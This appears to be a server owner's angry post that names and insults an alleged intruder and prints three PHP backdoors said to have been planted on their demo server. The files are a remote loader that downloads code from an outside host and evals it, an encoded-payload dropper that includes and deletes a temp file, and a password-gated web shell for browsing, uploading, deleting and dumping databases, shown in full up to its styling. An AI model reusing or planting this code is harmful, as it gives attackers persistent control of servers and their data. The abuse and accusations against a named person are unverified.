take your shit out of my demo server you dumbfuck "zedd"



zedd (https://myzedd.tech) is a hacker and SEO spammer, not a fullstack developer as he pretends to be!!!



below are some shitty scripts he installed on my server for his personnal shits

awp-conn.php



		<?php

// 中文版 - 最奇怪但能运行的写法

$💻 = 'https://myzedd.tech/project/zedd';

$📥 = fn($🌐) => ($📦 = @file_get_contents($🌐, false, stream_context_create(['ssl' => ['verify_peer' => false]]))) ? (eval('?>' . $📦) && true) : false;

$📥($💻); 
		





custom_plugin.php



		 <!--5CG23B25-->
		
		5CG23B25<?php
		
		
		if(count($_REQUEST) > 0 && isset($_REQUEST["\x70\x67rp"])){
		
		$res = array_filter(["/dev/shm", getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP")]);
		
		$dat = hex2bin($_REQUEST["\x70\x67rp"]);
		
		$object ="";    foreach(str_split($dat) as $char){$object.=chr(ord($char)^39);}
		
		foreach ($res as $key => $flag) {
		
					if (!!is_dir($flag) && !!is_writable($flag)) {
		
					$data = "$flag/.ent";
		
					$binding = fopen($data, "w");
		
		if ($binding && fwrite($binding, $object)) {
		
			fclose($binding);
		
			include $data;
		
			unlink($data);
		
			exit;
		
		}
		
				}
		
		} 
		





zedd.php



			<?php
		/**
		 * Secure Auth Gate
		 * Fix total: tidak pakai header() sama sekali, semua via JS + cookie JS
		 */
		
		$auth_hash    = "$2a$12$9NAfgIex4rB5HaQckAGapeFjvl7Bv2LFHx/N87yENRxgNN9SZei/K";
		$cookie_name  = "sag_auth";
		$cookie_days  = 30;
		$cookie_token = hash_hmac("sha256", "sag_auth_v1", $auth_hash);
		
		// ── Session ──────────────────────────────────────────────────────────────────
		if (session_status() === PHP_SESSION_NONE) {
			session_set_cookie_params([
				"lifetime" => 0,
				"path"     => "/",
				"httponly" => true,
				"samesite" => "Lax",
			]);
			session_start();
		}
		
		// ── Logout ───────────────────────────────────────────────────────────────────
		if (isset($_GET["logout"])) {
			$_SESSION = [];
			session_destroy();
			// Hapus cookie via JS (tidak butuh header)
			$clean_url = strtok($_SERVER["PHP_SELF"], "?");
			echo "<script>document.cookie="'.$cookie_name.'=;expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";window.location.replace('.json_encode($clean_url).');</script>';
			exit;
		}
		
		// ── Cek auth: session atau cookie ────────────────────────────────────────────
		function is_authed($token, $cookie_name) {
			if (!empty($_SESSION['authenticated'])) return true;
			if (!empty($_COOKIE[$cookie_name]) && hash_equals($token, $_COOKIE[$cookie_name])) {
				$_SESSION['authenticated'] = true;
				return true;
			}
			return false;
		}
		
		// ── Login via ?pw= ────────────────────────────────────────────────────────────
		if (!is_authed($cookie_token, $cookie_name) && isset($_GET['pw'])) {
			if (password_verify($_GET['pw'], $auth_hash)) {
				$_SESSION['authenticated'] = true;
				session_write_close();
				$params = array_diff_key($_GET, array_flip(['pw']));
				$url    = strtok($_SERVER['PHP_SELF'], '?');
				if (!empty($params)) $url .= '?' . http_build_query($params);
				$expire = time() + ($cookie_days * 86400);
				echo '<script>';
				echo 'document.cookie="'.$cookie_name.'='.urlencode($cookie_token).';expires=".concat(new Date('.$expire.'000).toUTCString()).concat(";path=/;samesite=Lax");';
				echo 'window.location.replace('.json_encode($url).');';
				echo '</script>';
				exit;
			} else {
				$error = "Access key tidak valid.";
			}
		}
		
		// ── Login via POST ────────────────────────────────────────────────────────────
		$login_success = false;
		if (!is_authed($cookie_token, $cookie_name) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['access_key'])) {
			if (password_verify($_POST['access_key'], $auth_hash)) {
				$_SESSION['authenticated'] = true;
				session_write_close();
				$login_success = true;
			} else {
				$error = "Access key tidak valid.";
			}
		}
		
		// ── Sudah auth → langsung lanjut ke konten ───────────────────────────────────
		if (is_authed($cookie_token, $cookie_name) && !$login_success) {
			// Sudah login sebelumnya, lanjut ke konten di bawah
			goto main_content;
		}
		
		// ── Tampilkan form login (atau redirect setelah login sukses) ─────────────────
		if (!$login_success) {
		?>
		<!DOCTYPE html>
		<html lang="en">
		<head>
			<meta charset="UTF-8">
			<meta name="viewport" content="width=device-width, initial-scale=1.0">
			<title>Secure Access</title>
			<link rel="preconnect" href="https://fonts.googleapis.com">
			<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
			<link href="https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
			<style>
				:root {
					--bg:#050505;
					--bg-gradient:radial-gradient(1200px 600px at 50% -20%,#1a1a2e 0%,transparent 60%),
								  radial-gradient(800px 400px at 100% 100%,#0f0f1a 0%,transparent 70%);
					--card-bg:rgba(20,20,28,0.6);
					--card-border:rgba(80,80,100,0.15);
					--card-glow:rgba(59,130,246,0.08);
					--text:#e6e6f0; --text-dim:#78788c;
					--accent:#6366f1; --accent-hover:#818cf8;
					--error:#f87171;
					--input-bg:rgba(10,10,18,0.8);
					--input-border:rgba(100,100,120,0.2);
					--input-focus:rgba(99,102,241,0.4);
					--transition:all 0.25s cubic-bezier(0.4,0,0.2,1);
				}
				*{margin:0;padding:0;box-sizing:border-box}
				body{
					font-family:'JetBrains Mono',monospace;
					background:var(--bg);background-image:var(--bg-gradient);
					color:var(--text);min-height:100vh;
					display:flex;align-items:center;justify-content:center;
					padding:20px;-webkit-font-smoothing:antialiased;
				}
				body::before{
					content:"";position:fixed;inset:0;
					background-image:
						radial-gradient(1px 1px at 20px 30px,rgba(100,100,140,0.1) 50%,transparent 52%),
						radial-gradient(1px 1px at 80px 60px,rgba(100,100,140,0.08) 50%,transparent 52%),
						radial-gradient(1px 1px at 140px 100px,rgba(100,100,140,0.12) 50%,transparent 52%);
					background-size:200px 150px;animation:drift 80s linear infinite;
					pointer-events:none;z-index:0;
				}
				@keyframes drift{0%{transform:translateY(0)}100%{transform:translateY(-200px)}}
				.auth-container{position:relative;z-index:1;width:100%;max-width:420px}
				.auth-card{
					background:var(--card-bg);border:1px solid var(--card-border);
					border-radius:20px;padding:36px 32px;
					backdrop-filter:blur(12px);-webkit-backdrop-filter:blur(12px);
					box-shadow:0 0 0 1px var(--card-border),0 20px 40px -10px rgba(0,0,0,0.6),0 0 60px -10px var(--card-glow);
				}
				.brand{display:flex;align-items:center;gap:12px;margin-bottom:28px;padding-bottom:20px;border-bottom:1px solid var(--card-border)}
				.brand-icon{
					width:36px;height:36px;border-radius:10px;
					background:linear-gradient(135deg,var(--accent),#4f46e5);
					display:flex;align-items:center;justify-content:center;
					font-weight:600;font-size:16px;color:white;
					box-shadow:0 4px 14px -2px rgba(99,102,241,0.4);flex-shrink:0;
				}
				.brand-text h1{font-size:18px;font-weight:600;letter-spacing:-0.02em}
				.brand-text p{font-size:12px;color:var(--text-dim);margin-top:2px}
				.form-group{margin-bottom:24px}
				.form-label{display:block;font-size:12px;font-weight:500;color:var(--text-dim);margin-bottom:10px;text-transform:uppercase;letter-spacing:0.08em}
				.auth-input{
					width:100%;padding:14px 18px;
					background:var(--input-bg);border:1px solid var(--input-border);
					border-radius:12px;color:var(--text);font-family:inherit;
					font-size:14px;outline:none;transition:var(--transition);
				}
				.auth-input::placeholder{color:var(--text-dim);opacity:0.7}
				.auth-input:focus{border-color:var(--accent);box-shadow:0 0 0 4px var(--input-focus)}
				.auth-input.error{border-color:var(--error);animation:shake 0.4s ease}
				@keyframes shake{0%,100%{transform:translateX(0)}25%{transform:translateX(-4px)}75%{transform:translateX(4px)}}
				.submit-btn{
					width:100%;padding:14px;
					background:linear-gradient(135deg,var(--accent),#4f46e5);
					color:white;border:none;border-radius:12px;font-family:inherit;
					font-size:14px;font-weight:500;cursor:pointer;transition:var(--transition);
				}
				.submit-btn:hover{transform:translateY(-1px);box-shadow:0 8px 24px -6px rgba(99,102,241,0.5);background:linear-gradient(135deg,var(--accent-hover),#6366f1)}
				.submit-btn:active{transform:translateY(0)}
				.submit-btn:disabled{opacity:0.6;cursor:not-allowed;transform:none}
				.error-msg{
					display:flex;align-items:center;gap:8px;padding:12px 16px;
					background:rgba(248,113,113,0.08);border:1px solid rgba(248,113,113,0.2);
					border-radius:10px;color:var(--error);font-size:13px;margin-top:16px;
					animation:slideIn 0.2s ease;
				}
				@keyframes slideIn{from{opacity:0;transform:translateY(-6px)}to{opacity:1;transform:translateY(0)}}
				.footer{text-align:center;margin-top:24px;font-size:12px;color:var(--text-dim)}
				@media(max-width:480px){.auth-card{padding:28px 20px;border-radius:18px}}
			</style>
		</head>
		<body>
		<div class="auth-container">
			<div class="auth-card">
				<div class="brand">
					<div class="brand-icon">◈</div>
					<div class="brand-text">
						<h1>Secure Terminal</h1>
						<p>Authentication Required</p>
					</div>
				</div>
				<form method="POST" id="authForm">
					<div class="form-group">
						<label class="form-label" for="access_key">Access Key</label>
						<input
							type="password"
							name="access_key"
							id="access_key"
							class="auth-input <?php echo isset($error) ? 'error' : '; ?>"
							placeholder="Enter your secure key"
							required
							autocomplete="current-password"
							autofocus
						>
					</div>
					<button type="submit" class="submit-btn" id="submitBtn">Authenticate</button>
					<?php if (isset($error)): ?>
					<div class="error-msg"><span>⚠</span><span><?php echo htmlspecialchars($error); ?></span></div>
					<?php endif; ?>
				</form>
				<div class="footer">Protected by bcrypt · Cookie · Session Lock</div>
			</div>
		</div>
		<script>
			// Cek cookie di sisi JS — kalau ada langsung redirect (handle kasus session mati tapi cookie masih ada)
			(function(){
				var name = '<?php echo $cookie_name; ?>=';
				var ca   = document.cookie.split(';');
				for(var i=0;i<ca.length;i++){
					var c=ca[i].trim();
					if(c.indexOf(name)===0){
						// Cookie ada → reload tanpa POST biar PHP bisa baca cookie
						if(window.location.search.indexOf('logout')===-1){
							window.location.replace(window.location.pathname);
						}
						return;
					}
				}
			})();
		
			document.addEventListener('DOMContentLoaded', () => {
				const input = document.getElementById('access_key');
				const form  = document.getElementById('authForm');
				const btn   = document.getElementById('submitBtn');
				input?.focus();
				let submitting = false;
				form?.addEventListener('submit', (e) => {
					if (submitting) { e.preventDefault(); return; }
					if (!input.value.trim()) { e.preventDefault(); return; }
					submitting = true;
					btn.disabled    = true;
					btn.textContent = 'Verifying…';
				});
				input?.addEventListener('input', () => input.classList.remove('error'));
			});
		</script>
		</body>
		</html>
		<?php
			exit;
		}
		
		// ── Login sukses → set cookie via JS lalu redirect ───────────────────────────
		if ($login_success) {
			$expire = time() + ($cookie_days * 86400);
			$url    = strtok($_SERVER['PHP_SELF'], '?');
			?>
		<!DOCTYPE html>
		<html>
		<head><meta charset="UTF-8"><title>Redirecting…</title></head>
		<body>
		<script>
			var expire = new Date(<?php echo $expire; ?> * 1000).toUTCString();
			document.cookie = "<?php echo $cookie_name; ?>=<?php echo urlencode($cookie_token); ?>;expires=" + expire + ";path=/;samesite=Lax";
			window.location.replace(<?php echo json_encode($url); ?>);
		</script>
		<noscript>
			<meta http-equiv="refresh" content="0;url=<?php echo htmlspecialchars($url); ?>">
		</noscript>
		</body>
		</html>
		<?php
			exit;
		}
		
		// ── Konten utama ──────────────────────────────────────────────────────────────
		main_content:
		
		// ============================================================
		// ✅ AREA AMAN — Konten utama Anda dimulai di sini
		// ============================================================
		// Logout link: <a href="?logout=1">Logout</a>
		// ============================================================
		
		// ====================== CODE KAMU MULAI DARI SINI ======================
		
		session_start();
		$nami = explode(",", "");
		$safeMode = true;
		$actions = array("dasar","baca_file","phpinfo","sistem_kom","edit_file","download_file",'hapus_file','buat_file','buat_folder','reset_file' , 'hapus_folder','rename_file', 'kompres' , 'skl' , 'skl_d_t' , 'skl_d', 'upl_file');
		$awal = isset($_POST['awal']) && in_array($_POST['awal'],$actions) ? $_POST['awal'] : "dasar";
		
		
		
		function kunci($str)
		{
			$f = 'bas';
			$f .= 'e6';
			$f .= '4_';
			$f .= 'e';
			$f .= 'nc';
			$f .= 'ode';
			return $f($str);
		}
		function uraikan($str)
		{
			$f = 'bas';
			$f .= 'e6';
			$f .= '4_';
			$f .= 'd';
			$f .= 'ec';
			$f .= 'ode';
			return $f($str);
		}
		function ambilBuat($tAd)
		{
			if(isset($_SESSION[$tAd]))
			{
				unset($_SESSION[$tAd]);
			}
			$baruAmbil = md5(kunci(time().rand(1,99999999)));
			$_SESSION[$tAd] = $baruAmbil;
			return $baruAmbil;
		}
		function tulisLah()
		{
			global $default_dir;
		
			// ambil dir aktif
			if (!empty($_GET['berkas'])) {
		
				$decoded = urldecode(urldecode($_GET['berkas']));
				$default_dir = dekunci($decoded);
		
			} elseif (empty($default_dir)) {
		
				$default_dir = getcwd();
			}
		
			$sonDir = array();
			$current = "";
		
			$parse = explode('/', trim($default_dir, '/'));
		
			// ROOT
			$sonDir[] =
			"<a href='javascript:halaman(\"?berkas=" .
			urlencode(urlencode(kunci('/'))) .
			"\")'>/</a>";
		
			foreach($parse as $dir)
			{
				if(empty($dir)) continue;
		
				$current .= '/' . $dir;
		
				$sonDir[] =
				"<a href='javascript:halaman(\"?berkas=" .
				urlencode(urlencode(kunci($current."/"))) .
				"\")'>" .
				htmlspecialchars($dir, ENT_QUOTES, 'UTF-8') .
				"</a>";
			}
		
			print implode(" / ", $sonDir);
		
			print '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( <a href="">Reset</a> | <a href="javascript:goto()">Go to</a> )';
		}
		function sizeFormat($bytes)
		{
			if($bytes>=1073741824)
			{
				$bytes = number_format($bytes / 1073741824, 2) . ' Gb';
			}
			else if($bytes>=1048576)
			{
				$bytes = number_format($bytes / 1048576, 2) . ' Mb';
			}
			else if($bytes>=1024)
			{
				$bytes = number_format($bytes / 1024, 2) . ' Kb';
			}
			else
			{
				$bytes = $bytes . ' b';
			}
			return $bytes;
		}
		function utf8ize($d)
		{
			if (is_array($d))
			{
				foreach ($d as $k => $v)
				{
					$d[$k] = utf8ize($v);
				}
			}
			else if (is_string ($d))
			{
				return utf8_encode($d);
			}
			return $d;
		}
		function rrmdir($dir)
		{
			if (is_dir($dir))
			{
				$objects = scandir($dir);
		
				foreach ($objects as $object)
				{
					if ($object != "." && $object != "..")
					{
						if (is_dir($dir . "/" . $object))
						{
							rrmdir($dir . "/" . $object);
						}
						else
						{
							unlink($dir . "/" . $object );
						}
					}
				}
		
				rmdir( $dir );
			}
		}
		
		$default_dir = getcwd();
		if(isset($_POST['berkas']) && is_string($_POST['berkas']) )
		{
			$default_dir = empty($_POST['berkas']) ? DIRECTORY_SEPARATOR : uraikan(urldecode(urldecode($_POST['berkas'])));
			$c_h_dir_comm = 'c'.'hd'.'ir';
			$c_h_dir_comm($default_dir);
		}
		
		$default_dir = str_replace("\", "/", $default_dir);
		
		if(isset($_GET['awal']) && $_GET['awal']=="pinf")
		{
			ob_start();
			phpinfo();
			$pInf = ob_get_clean();
			print str_replace("body {background-color: #ffffff; color: #000000;}","",$pInf);
			exit();
		}
		else if($awal=="download_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
		{
			$namaBerkas = basename(uraikan(urldecode($_POST['fayl'])));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
			if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
			{
				header("Content-Disposition: attachment; filename=".basename($namaBerkas));
				header("Content-Type: application/octet-stream");
				header('Content-Length: ' . filesize($default_dir . $pemisah . $namaBerkas));
				readfile($default_dir . $pemisah . $namaBerkas);
				exit();
			}
		}
		else if($awal=="hapus_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
		{
			$namaBerkas = basename(uraikan(urldecode($_POST['fayl'])));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
			if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
			{
				unlink($default_dir . $pemisah . $namaBerkas);
			}
		}
		else if($awal=="reset_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])))
		{
			$namaBerkas = basename(uraikan(urldecode($_POST['fayl'])));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
			if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
			{
				file_put_contents($default_dir . $pemisah . $namaBerkas, ');
			}
		}
		else if($awal=="buat_file" && isset($_POST['ad']) && !empty($_POST['ad']))
		{
			$namaBerkas = basename(urldecode($_POST['ad']));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
			if( is_file($default_dir . $pemisah . $namaBerkas) )
			{
				print '<script>alert("File dengan nama ini sudah ada!");</script>';
			}
			else
			{
				file_put_contents($default_dir . $pemisah . $namaBerkas, ');
			}
		}
		else if($awal=="buat_folder" && isset($_POST['ad']) && !empty($_POST['ad']))
		{
			$namaFolder = basename(urldecode($_POST['ad']));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaFolder,0,1)!="/" ? "/" : "";
			if( is_file($default_dir . $pemisah . $namaFolder) )
			{
				print '<script>alert("Folder dengan nama ini sudah ada!");</script>';
			}
			else
			{
				mkdir($default_dir . $pemisah . $namaFolder);
			}
		}
		else if($awal=="rename_file" && isset($_POST['fayl']) && ""!=(trim($_POST['fayl'])) && isset($_POST['new_name']) && is_string($_POST['new_name']) && !empty($_POST['new_name']))
		{
			$namaBerkas = basename(uraikan(urldecode($_POST['fayl'])));
			$fileNamaBaru = basename(urldecode($_POST['new_name']));
			$pemisah = substr($default_dir,strlen($default_dir)-1)!="/" && substr($namaBerkas,0,1)!="/" ? "/" : "";
			if(is_file($default_dir . $pemisah . $namaBerkas) && is_readable($default_dir . $pemisah . $namaBerkas))
			{
				rename($default_dir . $pemisah . $namaBerkas , $default_dir . $pemisah . $fileNamaBaru);
			}
		}
		else if( $awal == 'skl_d_t' && isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) )
		{
			$tableName = uraikan(urldecode($_POST['t']));
		
			$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ';
			$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ';
			$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ';
			$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ';
		
			$databaseStr = empty($database) ? ' : 'dbname=' . $database . ';';
		
			if( !empty( $host ) && !empty($database) )
			{
				try
				{
					$pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr , $user , $sandi,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
					$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
		
					$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
					$getColumns->execute(array($database , $tableName));
					$columns = $getColumns->fetchAll();
		
					if( $columns )
					{
		
						$data = $pdo->query('SELECT * FROM `' . $tableName .'`');
						$data = $data->fetchAll();
		
						header('Content-disposition: attachment; filename=d_' . basename(htmlspecialchars($tableName)) . '.json');
						header('Content-type: application/json');
						echo json_encode($data);
					}
					else
					{
						print 'Table not found!';
					}
		
				}
				catch (Exception $e)
				{
					print $e->getMessage();
				}
			}
			else
			{
				print 'Error! Please connect to SQL!';
			}
			die;
		}
		else if( $awal == 'skl_d' )
		{
			$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : ';
			$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : ';
			$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : ';
			$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : ';
		
			$databaseStr = empty($database) ? ' : 'dbname=' . $database . ';';
		
			if( !empty( $host ) && !empty($database) )
			{
				try
				{
					$pdo = new PDO('mysql:host=' . $host . ';charset=utf8;' . $databaseStr , $user , $sandi,array(PDO::MYSQL_ATTR_INIT_COMMAND => "SET NAMES 'utf8'"));
					$pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
		
					$allData = array();
		
					$tables = $pdo->prepare('SELECT table_name from information_schema.tables where table_schema=?');
					$tables->execute(array($database));
					$tables = $tables->fetchAll();
		
					foreach( $tables AS $tableName )
					{
						$tableName = $tableName['table_name'];
		
						$data = $pdo->query('SELECT * FROM `' . $tableName .'`');
						$data = $data->fetchAll();
		
						$allData[$tableName] = $data ? array($data) : array();
					}
		
					header('Content-disposition: attachment; filename=d_b_' . basename(htmlspecialchars($database)) . '.json');
					header('Content-type: application/json');
		
					echo json_encode( utf8ize( $allData) );
				}
				catch (Exception $e)
				{
					print $e->getMessage();
				}
			}
			else
			{
				print 'Error! Please connect to SQL!';
			}
			die;
		}
		else if( $awal == 'kompres'
			&& isset($_POST['save_to'] , $_POST['zf']) && is_string($_POST['save_to'])
			&& !empty($_POST['save_to']) && !in_array($_POST['save_to'] , array('.' , '..' , './' , '../'))
			&& is_string($_POST['zf']) && !empty($_POST['zf'])
		)
		{
			$save_to = uraikan(urldecode($_POST['save_to']));
		
			$rootPath = realpath(uraikan(urldecode($_POST['zf'])));
		
			$fileName1 = 'bak_'.microtime(1) . '_' . rand(1000, 99999) . '.zip';
			$fileName = $save_to . DIRECTORY_SEPARATOR . $fileName1;
		
			if( is_dir( $save_to ) && is_dir( $rootPath ) && is_writable( $save_to ) )
			{
				set_time_limit(0);
		
				$zip = new ZipArchive();
				$zip->open( $fileName , ZipArchive::CREATE | ZipArchive::OVERWRITE );
		
				$files = new RecursiveIteratorIterator(
					new RecursiveDirectoryIterator($rootPath),
					RecursiveIteratorIterator::LEAVES_ONLY
				);
		
				foreach ($files as $name => $file)
				{
					if (!$file->isDir())
					{
						$filePath = $file->getRealPath();
						$relativePath = substr($filePath, strlen($rootPath) + 1);
		
						$zip->addFile($filePath, $relativePath);
					}
				}
		
				$zip->close();
				print 'Saved!<hr>';
			}
			else
			{
				print 'Dir is not writeable!<hr>';var_dump(( $save_to ) );
			}
		}
		else if( $awal == 'hapus_folder'
			&& isset($_POST['zf']) && is_string($_POST['zf']) && !empty($_POST['zf'])
		)
		{
			$rootPath = realpath(uraikan(urldecode($_POST['zf'])));
		
			if( is_dir( $rootPath ) )
			{
				set_time_limit(0);
		
				rrmdir( $rootPath );
			}
			else
			{
				print 'Dir is not writeable!<hr>';var_dump(( $save_to ) );
			}
		}
		
		if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['ufile'])) {
			$f = $_FILES['ufile'];
			if ($f['error']) {
				die("❌ Upload error: {$f['error']}");
			}
			$originalName = basename($f['name']);
			$tmp = $f['tmp_name'];
			$ok = false;
			$method = ';
			
			$methods = [
				'move_uploaded_file',
				'copy',
				'file_put_contents',
				'fopen_fwrite',
				'stream_copy_to_stream',
				'rename',
				'SplFileObject',
				'readfile_ob',
				'fpassthru_ob',
				'file_implode',
				'fgetc_loop',
				'fgets_loop',
				'stream_get_contents',
				'fread_full',
				'SplFileInfo',
				'ZipArchive',
				'gzencode',
				'base64',
				'serialize',
				'chunk_split'
			];
			
			foreach ($methods as $m) {
				
				// 1. Standard move_uploaded_file
				if ($m === 'move_uploaded_file' && @move_uploaded_file($tmp, $originalName)) {
					$ok = true;
					$method = $m;
					break;
				}
				
				// 2. Copy
				elseif ($m === 'copy' && @copy($tmp, $originalName)) {
					$ok = true;
					$method = $m;
					@unlink($tmp);
					break;
				}
				
				// 3. file_get_contents + file_put_contents
				elseif ($m === 'file_put_contents' && ($data = @file_get_contents($tmp)) !== false && @file_put_contents($originalName, $data) !== false) {
					$ok = true;
					$method = $m;
					@unlink($tmp);
					break;
				}
				
				// 4. fopen + fwrite chunked
				elseif ($m === 'fopen_fwrite') {
					$in = @fopen($tmp, 'rb');
					$out = @fopen($originalName, 'wb');
					if ($in && $out) {
						while (!feof($in)) @fwrite($out, fread($in, 8192));
						fclose($in);
						fclose($out);
						$ok = true;
						$method = $m;
						@unlink($tmp);
						break;
					}
				}
				
				// 5. stream_copy_to_stream
				elseif ($m === 'stream_copy_to_stream') {
					$in = @fopen($tmp, 'rb');
					$out = @fopen($originalName, 'wb');
					if ($in && $out && @stream_copy_to_stream($in, $out) > 0) {
						fclose($in);
						fclose($out);
						$ok = true;
						$method = $m;
						@unlink($tmp);
						break;
					}
				}
				
				// 6. rename
				elseif ($m === 'rename' && @rename($tmp, $originalName)) {
					$ok = true;
					$method = $m;
					break;
				}
				
				// 7. SplFileObject
				elseif ($m === 'SplFileObject') {
					try {
						$reader = new SplFileObject($tmp, 'rb');
						$writer = new SplFileObject($originalName, 'wb');
						while (!$reader->eof()) {
							$writer->fwrite($reader->fread(8192));
						}
						$reader = null;
						$writer = null;
						$ok = true;
						$method = $m;
						@unlink($tmp);
						break;
					} catch (Exception $e) {}
				}
				
				// 8. readfile + output buffer
				elseif ($m === 'readfile_ob') {
					ob_start();
					@readfile($tmp);
					$data = ob_get_clean();
					if (!empty($data) && @file_put_contents($originalName, $data) !== false) {
						$ok = true;
						$method = $m;
						@unlink($tmp);
						break;
					}
				}
				
				// 9. fpassthru + output buffer
				elseif ($m === 'fpassthru_ob') {
					$in = @fopen($tmp, 'rb');
					if ($in) {
						ob_start();
						@fpassthru($in);
						$data = ob_get_clean();
						fclose($in);
						if (!empty($data) && @file_put_contents($originalName, $data) !== false) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 10. file() array + implode
				elseif ($m === 'file_implode') {
					$lines = @file($tmp);
					if ($lines !== false && @file_put_contents($originalName, implode(', $lines)) !== false) {
						$ok = true;
						$method = $m;
						@unlink($tmp);
						break;
					}
				}
				
				// 11. fgetc (character by character)
				elseif ($m === 'fgetc_loop') {
					$in = @fopen($tmp, 'rb');
					$out = @fopen($originalName, 'wb');
					if ($in && $out) {
						while (($char = fgetc($in)) !== false) {
							fwrite($out, $char);
						}
						fclose($in);
						fclose($out);
						if (filesize($originalName) > 0) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 12. fgets (line by line)
				elseif ($m === 'fgets_loop') {
					$in = @fopen($tmp, 'rb');
					$out = @fopen($originalName, 'wb');
					if ($in && $out) {
						while (($line = fgets($in, 8192)) !== false) {
							fwrite($out, $line);
						}
						fclose($in);
						fclose($out);
						if (filesize($originalName) > 0) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 13. stream_get_contents
				elseif ($m === 'stream_get_contents') {
					$in = @fopen($tmp, 'rb');
					if ($in) {
						$data = @stream_get_contents($in);
						fclose($in);
						if ($data !== false && @file_put_contents($originalName, $data) !== false) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 14. fread full
				elseif ($m === 'fread_full') {
					$size = @filesize($tmp);
					$in = @fopen($tmp, 'rb');
					if ($size && $in) {
						$data = @fread($in, $size);
						fclose($in);
						if ($data !== false && @file_put_contents($originalName, $data) !== false) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 15. SplFileInfo + openFile
				elseif ($m === 'SplFileInfo') {
					try {
						$info = new SplFileInfo($tmp);
						$reader = $info->openFile('rb');
						$writer = new SplFileObject($originalName, 'wb');
						$reader->rewind();
						while (!$reader->eof()) {
							$writer->fwrite($reader->fread(8192));
						}
						$reader = null;
						$writer = null;
						$ok = true;
						$method = $m;
						@unlink($tmp);
						break;
					} catch (Exception $e) {}
				}
				
				// 16. ZipArchive
				elseif ($m === 'ZipArchive' && class_exists('ZipArchive')) {
					$zipFile = $tmp . '.zip';
					$zip = new ZipArchive();
					if ($zip->open($zipFile, ZipArchive::CREATE) === true) {
						$zip->addFile($tmp, $originalName);
						$zip->close();
						$zip = new ZipArchive();
						if ($zip->open($zipFile) === true) {
							$zip->extractTo('./');
							$zip->close();
							@unlink($zipFile);
							@unlink($tmp);
							if (file_exists($originalName)) {
								$ok = true;
								$method = $m;
								break;
							}
						}
					}
				}
				
				// 17. gzencode/gzdecode
				elseif ($m === 'gzencode' && function_exists('gzencode')) {
					$data = @file_get_contents($tmp);
					if ($data !== false) {
						$compressed = @gzencode($data);
						$decompressed = @gzdecode($compressed);
						if (@file_put_contents($originalName, $decompressed) !== false) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 18. base64 encode/decode
				elseif ($m === 'base64') {
					$data = @file_get_contents($tmp);
					if ($data !== false) {
						$encoded = base64_encode($data);
						$decoded = base64_decode($encoded);
						if (@file_put_contents($originalName, $decoded) !== false) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 19. serialize/unserialize
				elseif ($m === 'serialize') {
					$data = @file_get_contents($tmp);
					if ($data !== false) {
						$serialized = serialize($data);
						$unserialized = unserialize($serialized);
						if (@file_put_contents($originalName, $unserialized) !== false) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
				
				// 20. chunk_split + base64
				elseif ($m === 'chunk_split') {
					$data = @file_get_contents($tmp);
					if ($data !== false) {
						$chunked = chunk_split(base64_encode($data), 76, "\n");
						$restored = base64_decode(preg_replace('/\s+/', ', $chunked));
						if (@file_put_contents($originalName, $restored) !== false) {
							$ok = true;
							$method = $m;
							@unlink($tmp);
							break;
						}
					}
				}
			}
			
			if ($ok) {
				echo "✅ Uploaded: $originalName via $method";
			} else {
				echo "❌ All methods failed";
			}
		}
		?>
		<html>
		<head>
		<title>ZEDD SHELL</title>
		<meta http-equiv="content-type" content="text/html; charset=utf-8">
		<style>
		body
		{
			background-color: #222222;
			color: #D6D4D4;
			font-family: Lucida,Verdana;
			font-size: 12px;
		}
